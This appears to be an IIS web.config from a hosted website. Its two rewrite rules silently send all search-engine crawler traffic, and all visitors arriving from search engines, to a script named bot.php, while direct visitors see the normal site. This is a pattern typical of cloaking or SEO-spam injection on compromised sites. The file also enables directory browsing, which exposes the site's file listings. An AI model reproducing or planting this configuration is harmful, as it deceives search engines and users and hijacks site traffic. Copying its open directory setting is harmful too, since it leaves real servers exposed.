﻿<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <rewrite>
      <rules>
        <rule name="Bot Rewrite" patternSyntax="ECMAScript" stopProcessing="true">
          <match url=".*" ignoreCase="true" negate="false" />
          <conditions logicalGrouping="MatchAny" trackAllCaptures="false">
            <add input="{HTTP_USER_AGENT}" pattern="Googlebot|Yahoo|MSNBot|bingbot" />
          </conditions>
          <action type="Rewrite" url="bot.php" />
        </rule>
        <rule name="Referer Rewrite" patternSyntax="ECMAScript" stopProcessing="true">
          <match url=".*" ignoreCase="true" negate="false" />
          <conditions logicalGrouping="MatchAny" trackAllCaptures="false">
            <add input="{HTTP_REFERER}" pattern="google|yahoo|bing|aol|ask" />
          </conditions>
          <action type="Rewrite" url="bot.php" />
        </rule>
      </rules>
    </rewrite>
    <directoryBrowse enabled="true" />
    <defaultDocument>
      <files>
        <clear />
        <add value="Default.aspx" />
        <add value="index.php" />
        <add value="Default.html" />
        <add value="Default.htm" />
        <add value="Default.asp" />
        <add value="index.pl" />
        <add value="index.htm" />
        <add value="index.html" />
      </files>
    </defaultDocument>
    <httpProtocol>
      <customHeaders>
        <clear />
      </customHeaders>
    </httpProtocol>
  </system.webServer>
  <system.web>
    <compilation tempDirectory="D:\InetPub\vhosts\sawhney-1398.package\tmp" />
  </system.web>
</configuration>